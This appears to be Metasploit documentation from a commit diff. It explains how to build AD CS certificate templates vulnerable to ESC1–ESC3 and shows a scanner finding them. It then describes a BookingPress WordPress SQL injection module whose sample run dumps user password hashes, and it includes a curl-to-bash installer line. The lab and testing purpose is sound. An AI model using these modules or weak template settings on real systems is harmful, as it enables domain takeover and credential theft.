1. On the AD CS "Role Services" tab, leave the default selection of only "Certificate Authority"
1. Completion the installation and reboot the server
1. Reopen the Server Manager
1. Go to the AD CS tab and where it says "Configuration Required", hit "More" then "Configure Active Directory Certificate..."
1. Select "Certificate Authority" in the Role Services tab
1. Keep all of the default settings, noting the "Common name for this CA" value on the "CA Name" tab.
1. Accept the rest of the default settings and complete the configuration
### Setting up a ESC1 Vulnerable Certificate Template
1. Open up the run prompt and type in `certsrv`.
1. In the window that appears you should see your list of certification authorities under `Certification Authority (Local)`.
1. Right click on the folder in the drop down marked `Certificate Templates` and then click `Manage`.
1. Scroll down to the `User` certificate. Right click on it and select `Duplicate Template`.
1. From here you can refer to https://github.com/RayRRT/Active-Directory-Certificate-Services-abuse/blob/3da1d59f1b66dd0e381b2371b8fb42d87e2c9f82/ADCS.md for screenshots.
1. Select the `General` tab and rename this to something meaningful like `ESC1-Template`, then click the `Apply` button.
1. In the `Subject Name` tab, select `Supply in the request` and click `Ok` on the security warning that appears.
1. Click the `Apply` button.
1. Scroll to the `Extensions` tab.
1. Under `Application Policies` ensure that `Client Authentication`, `Server Authentication`, `KDC Authentication`, or `Smart Card Logon` is listed.
1. Click the `Apply` button.
1. Under the `Security` tab make sure that `Domain Users` group listed and the `Enroll` permissions is marked as allowed for this group.
1. Under `Issuance Requirements` tab, ensure that under `Require the following for enrollment` that the `CA certificate manager approval` box is unticked, as is the `This number of authorized signatures` box.
1. Click `Apply` and then `Ok`
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
1. Scroll down and select the `ESC1-Template` certificate, or whatever you named the ESC1 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC2 Vulnerable Certificate Template
1. Open up `certsrv`
1. Scroll down to `Certificate Templates` folder, right click on it and select `Manage`.
1. Find the `ESC1` certificate template you created earlier and right click on that, then select `Duplicate Template`.
1. Select the `General` tab, and then name the template `ESC2-Template`. Then click `Apply`.
1. Go to the `Subject Name` tab and select `Build from this Active Directory Information` and select `Fully distinguished name` under the `Subject Name Format`. The main idea of setting this option is to prevent being able to supply the subject name in the request as this is more what makes the certificate vulnerable to ESC1. The specific options here I don't think will matter so much so long as the `Supply in the request` option isn't ticked. Then click `Apply`.
1. Go the to `Extensions` tab and click on `Application Policies`. Then click on `Edit`.
1. Delete all the existing application policies by clicking on them one by one and clicking the `Remove` button.
1. Click the `Add` button and select `Any Purpose` from the list that appears. Then click the `OK` button.
1. Click the `Apply` button, and then `OK`. The certificate should now be created.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
1. Scroll down and select the `ESC2-Template` certificate, or whatever you named the ESC2 template you created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 1 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template1`, then click `Apply`.
1. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Certificate Request Agent`, then click `OK`.
1. Click `Apply`.
1. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` and `This number of authorized signatures` are unchecked.
1. Click `Apply` if any changes were made or the button is not grey'd out, then click `OK` to create the certificate.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. Then click `New` followed by `Certificate Template to Issue`.
1. Scroll down and select the `ESC3-Template1` certificate, or whatever you named the ESC3 template number 1 template you just created, and select `OK`. The certificate should now be available to be issued by the CA server.
### Setting up a ESC3 Template 2 Vulnerable Certificate Template
1. Follow the instructions above to duplicate the ESC2 template and name it `ESC3-Template2`, then click `Apply`.
1. Go to the `Extensions` tab, click the Application Policies entry, click the `Edit` button, and remove the `Any Purpose` policy and replace it with `Client Authentication`, then click `OK`.
1. Click `Apply`.
1. Go to `Issuance Requirements` tab and double check that both `CA certificate manager approval` is unchecked.
1. Check the `This number of authorized signatures` checkbox and ensure the value specified is 1, and that the `Policy type required in signature` is set to `Application Policy`, and that the `Application policy` value is `Certificate Request Agent`.
1. Click `Apply` and then click `OK` to issue the certificate.
1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder.
1. Click `New` followed by `Certificate Template to Issue`.
1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`.
1. The certificate should now be available to be issued by the CA server.
## Verification Steps
1. Do: Start msfconsole
1. Do: `use auxiliary/gather/ldap_esc_vulnerable_cert_finder`
1. Do: `set BIND_DN <DOMAIN>\\<USERNAME to log in as>`
1. Do: `set BIND_PW <PASSWORD FOR USER>`
1. Do: `set RHOSTS <target IP(s)>`
1. Optional: `set RPORT <target port>` if target port is non-default.
1. Optional: `set SSL true` if the target port is SSL enabled.
1. Do: `run`
## Options
### REPORT_NONENROLLABLE
If set to `True` then report any certificate templates that are vulnerable but which are not known to be enrollable.
If set to `False` then skip over these certificate templates and only report on certificate templates
that are both vulnerable and enrollable.
## Scenarios
### Windows Server 2022 with ADCS
```
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOST 172.26.104.157
RHOST => 172.26.104.157
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_DN DAFOREST\\Administrator
BIND_DN => DAFOREST\Administrator
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_PW theAdmin123
BIND_PW => theAdmin123
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN DAFOREST\Administrator no The username to authenticate to LDAP server
BIND_PW theAdmin123 no Password for the BIND_DN
REPORT_NONENROLLABLE false yes Report nonenrollable certificate templates
RHOSTS 172.26.104.157 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[*] Running module against 172.26.104.157
[*] Discovering base DN automatically
[+] 172.26.104.157:389 Discovered base DN: DC=daforest,DC=com
[*] Template: SubCA
[*] Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: ESC1-Template
[*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: ESC2-Template
[*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: ESC3-Template1
[*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: User
[*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: Administrator
[*] Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: Machine
[*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: DomainController
[*] Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers)
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] * S-1-5-9 (Enterprise Domain Controllers)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: ESC3-Template2
[*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
```
### Windows Server 2022 with ADCS and REPORT_NONENROLLABLE Set To TRUE
```
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOST 172.26.104.157
RHOST => 172.26.104.157
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_DN DAFOREST\\Administrator
BIND_DN => DAFOREST\Administrator
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set BIND_PW theAdmin123
BIND_PW => theAdmin123
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set REPORT_NONENROLLABLE true
REPORT_NONENROLLABLE => true
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN DAFOREST\Administrator no The username to authenticate to LDAP server
BIND_PW theAdmin123 no Password for the BIND_DN
REPORT_NONENROLLABLE true yes Report nonenrollable certificate templates
RHOSTS 172.26.104.157 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[*] Running module against 172.26.104.157
[*] Discovering base DN automatically
[+] 172.26.104.157:389 Discovered base DN: DC=daforest,DC=com
[*] Template: CA
[*] Distinguished Name: CN=CA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] CA not published as an enrollable certificate!
[*] Template: SubCA
[*] Distinguished Name: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC1, ESC2, ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: OfflineRouter
[*] Distinguished Name: CN=OfflineRouter,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC1, ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] OfflineRouter not published as an enrollable certificate!
[*] Template: ESC1-Template
[*] Distinguished Name: CN=ESC1-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: ESC2-Template
[*] Distinguished Name: CN=ESC2-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: EnrollmentAgent
[*] Distinguished Name: CN=EnrollmentAgent,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] EnrollmentAgent not published as an enrollable certificate!
[*] Template: EnrollmentAgentOffline
[*] Distinguished Name: CN=EnrollmentAgentOffline,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] EnrollmentAgentOffline not published as an enrollable certificate!
[*] Template: MachineEnrollmentAgent
[*] Distinguished Name: CN=MachineEnrollmentAgent,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] MachineEnrollmentAgent not published as an enrollable certificate!
[*] Template: CEPEncryption
[*] Distinguished Name: CN=CEPEncryption,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] CEPEncryption not published as an enrollable certificate!
[*] Template: ESC3-Template1
[*] Distinguished Name: CN=ESC3-Template1,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_1
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: User
[*] Distinguished Name: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: UserSignature
[*] Distinguished Name: CN=UserSignature,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] UserSignature not published as an enrollable certificate!
[*] Template: SmartcardUser
[*] Distinguished Name: CN=SmartcardUser,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] SmartcardUser not published as an enrollable certificate!
[*] Template: ClientAuth
[*] Distinguished Name: CN=ClientAuth,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] ClientAuth not published as an enrollable certificate!
[*] Template: SmartcardLogon
[*] Distinguished Name: CN=SmartcardLogon,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[!] SmartcardLogon not published as an enrollable certificate!
[*] Template: Administrator
[*] Distinguished Name: CN=Administrator,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: Machine
[*] Distinguished Name: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-515 (Domain Computers)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: DomainController
[*] Distinguished Name: CN=DomainController,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-498 (Enterprise Read-only Domain Controllers)
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-516 (Domain Controllers)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] * S-1-5-9 (Enterprise Domain Controllers)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Template: ESC3-Template2
[*] Distinguished Name: CN=ESC3-Template2,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
[*] Vulnerable to: ESC3_TEMPLATE_2
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3290009963-1772292745-3260174523-512 (Domain Admins)
[*] * S-1-5-21-3290009963-1772292745-3260174523-513 (Domain Users)
[*] * S-1-5-21-3290009963-1772292745-3260174523-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * daforest-WIN-BR0CCBA815B-CA
[*] Server: WIN-BR0CCBA815B.daforest.com
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
```
@@ -0,0 +1,220 @@
## Vulnerable Application
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
data from the backend database such as usernames and password hashes.
This module uses this vulnerability to dump the list of WordPress users and their associated
email addresses and password hashes for cracking offline.
### Setup
#### Ubuntu 20.04 with Docksal
Install Docksal:
```bash
sudo apt update
sudo apt install curl
bash <(curl -fsSL https://get.docksal.io)
sudo usermod -aG docker $USER
```
Reboot the VM (Docksal needs to be able to run `docker` without sudo).
```bash
msfuser@ubuntu:~$ fin project create
1. Name your project (lowercase alphanumeric, underscore, and hyphen): msf
2. What would you like to install?
PHP based
1. Drupal 9 (Composer Version)
2. Drupal 9 (BLT Version)
3. Drupal 9
4. Drupal 7
5. Wordpress
6. Magento
7. Laravel
8. Symfony Skeleton
9. Symfony WebApp
10. Grav CMS
11. Backdrop CMS
Go based
12. Hugo
JS based
13. Gatsby JS
14. Angular
HTML
15. Static HTML site
Custom
0. Custom git repository
Enter your choice (0-15): 5
Project folder: /home/msfuser/msf
Project software: Wordpress
Source repo: https://github.com/docksal/boilerplate-wordpress.git
Source branch: <default>
Project URL: http://msf.docksal
Do you wish to proceed? [y/n]: y
...
Success: WordPress installed successfully.
real 0m10.112s
user 0m0.327s
sys 0m0.061s
Open http://msf-wp.docksal in your browser to verify the setup.
Admin panel: http://msf-wp.docksal/wp-admin. User/password: admin/admin
DONE! Completed all initialization steps.
```
Download a vulnerable version of BookingPress:
`wget https://downloads.wordpress.org/plugin/bookingpress-appointment-booking.1.0.10.zip`
Navigate to the WordPress admin page that was just setup by Docksal at
http://msf-wp.docksal/wp-admin and log in with the username `admin` and password `admin`.
Navigate to `Plugins` on the left hand menu, then select `Add New` then select `Upload Plugin`.
Select `Browse...` and browse to the `bookingpress-appointment-booking.1.0.10.zip` file just downloaded, click `Install Now`.
You should see the following output in the browser:
```
Installing Plugin from uploaded file: bookingpress-appointment-booking.1.0.10.zip
Unpacking the package…
Installing the plugin…
Plugin installed successfully.
```
Click `Activate Plugin`.
The BookingPress plugin has to be in use on the WordPress site in order to exploit the vulnerability.
To activate it, follow the directions below:
1. Navigate to `/wp-admin/admin.php?page=bookingpress_services`.
1. Click `Manage Categories`, then click `+ Add New`, enter a `Category Name` and click `Save`.
1. Beside `Manage Services` click `+ Add New`, enter a `Service Name`, enter the Category you just created in the `Category` dropdown, enter a `Price` and click `Save`.
1. Select `+ New` at the top of the screen and then select `Page` from the dropdown to create a new WordPress page.
1. Paste `[bookingpress_form]` on the new page and click `publish`.
1. Navigate to `/bookingpress/` and you should see BookPress running with the Category / Service you created in step 1.
### Installation Notes
You may need to increase the size of file uploads to install the BookingPress plugin. To do this, you can use
https://wordpress.org/plugins/tuxedo-big-file-uploads/ or https://wordpress.org/plugins/wp-maximum-upload-file-size/
to increase the file upload size. I then had to some fiddling around since it may take some time for the changes
to be picked up. You may have success if you also install https://wordpress.org/plugins/custom-php-settings/, so
this is worth a shot if you are having issues.
## Verification Steps
1. Start msfconsole.
1. Do: `use auxiliary/gather/wp_bookingpress_category_services_sqli`.
1. Set the options `RHOSTS` to the target WordPress host IP address.
1. Set `RPORT` to the port that the target WordPress install is running on.
1. Set `BOOKING_PRESS_PAGE` to the path on the WordPress host where the BookingPress make a booking page is.
1. Verify visiting this URL shows "Select Category" and "Select Service" on the resulting page.
1. Run the module.
1. Receive a table of WordPress users and their associated email addresses and password hashes.
## Scenarios
### Booking Press 1.0.10, WordPress Running Via Docksal, Ubuntu 20.04
```
msf6 > use gather/wp_bookingpress_category_services_sqli
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rhosts localhost
rhosts => localhost
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set rport 8000
rport => 8000
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
admin admin@admin.com $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
hackerman hackerman@hacktheworld.io $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
mr_metasploit mr_metasploit@metaslpoit.org $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
msfuser msfuser@rapid7.com $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
todd todd@toddtown.com $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0
[*] Auxiliary module execution completed
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set AutoCheck false
AutoCheck => false
msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
[!] AutoCheck is disabled, proceeding with exploitation
[*] Extracting credential information
Wordpress User Credentials
==========================
Username Email Hash
-------- ----- ----
